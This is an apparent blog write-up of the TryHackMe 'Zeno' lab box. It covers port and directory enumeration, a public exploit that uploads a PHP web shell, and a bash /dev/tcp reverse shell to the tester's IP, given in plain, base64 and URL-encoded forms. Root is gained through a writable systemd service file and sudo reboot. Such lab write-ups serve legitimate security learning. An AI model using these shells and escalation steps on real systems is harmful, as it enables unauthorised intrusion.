A new Medium difficulty box on TryHackMe was released, so I decided to do a writeup on it.
Troubles from the start
My initial nmap scan (All 65535 TCP Ports) on the box returned a single open Port - 22 (SSH) running OpenSSH7.4. Given the difficulty of the box, I figured that it was some service running on a UDP port, so did a full UDP scan and came up with absolutely nothing.
Knowing how unstable TryHackMe boxes can be on Free accounts, I reset the box, waited 20 minutes, and tried again - With the same result. After additional investigation in their Discord chat, I discovered that this was a common issue affecting users (An unfortunately common occurence in their recent released boxes), and that port-scanning from the on-network TryHackMe Attack Box was the way to go. Doing this led me to an additional open port - 12340
Basic enumeration
Given the new port, I decided to give it a quick scan:
reelix@reelix-1:~$ reecon 10.10.74.206 12340
Reecon - Version 0.27d ( https://github.com/Reelix/Reecon )
Scanning: 10.10.74.206 (Port: 12340)
Unknown Port: 12340 - Info may be unreliable / duplicated - Especially for Web Servers
Port 12340 - HTTP
- Page Title: We've got some trouble | 404 - Resource not found
- DNS: 10.10.74.206
- Server: Apache/2.4.6 (CentOS) PHP/5.4.16
-- Apache Detected
- Other Headers: Date,ETag,Accept-Ranges
- Common Path is readable: http://10.10.74.206:12340/index.html (Len: 3897)
-- EMail: [email protected]
-- [email protected]: mailto:[email protected]
This showed that it was a webserver running a slightly outdated version of Apache on CentOS, the base page was a 404 page (Named index.html), and the page contained a placeholder e-mail address. Visiting the page in Chrome showed no additional useful information. There was a comment tag displaying that this specific 404 page was a template by Simple HTTPErrorPages, although browsing through their Githubs issue list showed nothing useful. As it was a webserver, my next plan was to run gobuster to see if there were any hidden pages. Failing that, it was on to searching for newly released Apache / CentOS exploits.
Thankfully, running gobuster returned an interesting result:
reelix@reelix-1:~/thm/zeno$ gobuster dir -u http://10.10.74.206:12340/ -w ~/wordlists/directory-list-2.3-medium.txt -x.php,.txt,.html -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.74.206:12340/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /home/reelix/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,html,php
[+] Timeout: 10s
===============================================================
2021/11/01 08:20:26 Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 3897]
/rms (Status: 301) [Size: 238] [--> http://10.10.74.206:12340/rms/]
===============================================================
2021/11/01 09:22:01 Finished
===============================================================
Browsing to this newly discovered rms page showed a detailed Hotel Restaurant Management System:
Registering an account and then browsing through the site showed that it was rather detailed, so I figured that it was simply an existing CMS set up for this specific challenge.
Exploitation
An exploit-db search for "Hotel Restaurant Management Management System", and then "Restaurant Management System" led me to a single exploit. The familiar /rms/ in the exploit led me to believe that this was what I was looking for!
After browsing the exploits code, fixing up some formatting errors, fixing up the URLs, and seeing how it was meant to work, I ran it, then tested that I had code execution:
reelix@reelix-1:~/thm/zeno$ python3 47520 http://10.10.74.206:12340/rms/
_ _ _____ __ __ _____ ______ _ _ _
_| || |_| __ \| \/ |/ ____| | ____| | | (_) |
|_ __ _| |__) | \ / | (___ | |__ __ ___ __ | | ___ _| |_
_| || |_| _ /| |\/| |\___ \ | __| \ \/ / '_ \| |/ _ \| | __|
|_ __ _| | \ \| | | |____) | | |____ > <| |_) | | (_) | | |_
|_||_| |_| \_\_| |_|_____/ |______/_/\_\ .__/|_|\___/|_|\__|
| |
|_|
Credits : All InfoSec (Raja Ji's) Group
[+] Restaurant Management System Exploit, Uploading Shell
[+] Shell Uploaded. Please check the URL :http://10.10.74.206:12340/rms/images/reverse-shell.php
reelix@reelix-1:~/thm/zeno$ curl http://10.10.74.206:12340/rms/images/reverse-shell.php?cmd=whoami
apache
Victory!
Changing the command to a URL encoded reverse shell and setting up a pwncat listener got me what I needed:
reelix@reelix-1:~/thm/zeno$ reecon -shell bash
Reecon - Version 0.27d ( https://github.com/Reelix/Reecon )
Don't forget to change the IP / Port!
ens4: 10.142.0.16
docker0: 172.17.0.1
tun0: 10.2.26.203
Bash Shell
----------
#!/bin/bash
bash -i >& /dev/tcp/10.2.26.203/9001 0>&1
Note: File header is only required if it's a file and not a command
Safer: bash -c "bash -i >& /dev/tcp/10.2.26.203/9001 0>&1"
Safer Base64: YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yLjI2LjIwMy85MDAxIDA+JjEi
Alt Safer Base64 (No +): YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjIuMjYuMjAzLzkwMDEgPCYx
Safer URL Encoded: bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.2.26.203%2F9001%200%3E%261%22
reelix@reelix-1:~/thm/zeno$ curl http://10.10.74.206:12340/rms/images/reverse-shell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.2.26.203%2F9001%200%3E%261%22
After a quick browse in the users home directory and the web directory to see if nothing quick could be gained, I copied lse over to /dev/shm and ran it at level 1 and discovered two interesting things:
2.) That we could write to a system service file "/etc/systemd/system/zeno-monitoring.service"
Attempting zenos password for the only other user on the box - edward - gave us access to him, allowing us to get the first flag - The user.txt file in edwards home directory!
When the service is started, it runs a script. Now, we can alter this value, but the problem is that we can't reboot the box - Or can we!
Running a sudo -ln as edward shows that edward has sudo permissions on /usr/sbin/reboot - Perfect!
Whilst there was no nano on the box (Which I prefer), there was vi which I used (i to set to "insert" to alter text, escape->:wq! to save and exit) to alter the service file.
My initial plan was to set the ExecStart to simply run a .sh file with a shell, although it turns out that edward only had read-only permissions to his home directory which was extremely odd, and all directories he had write access to - /dev/shm and /tmp - Got cleared on reboot, so I had nowhere to put it!
My next plan was to alter ExecStart to add a suid bit to /bin/bash and chown it - Although that didn't work for some reason.
My third plan was to alter ExecStart to directly send a reverse shell back to me - Although that didn't work either!
My fourth plan was to alter ExecStart to copy /bin/bash to a different directory, and suid that - Which worked! Rebooting the box with the reboot priviliges of edward, and running the copied bash file with -p (To preserve root) allowed me to get the final flag located at /root/root.txt - The box was now complete!
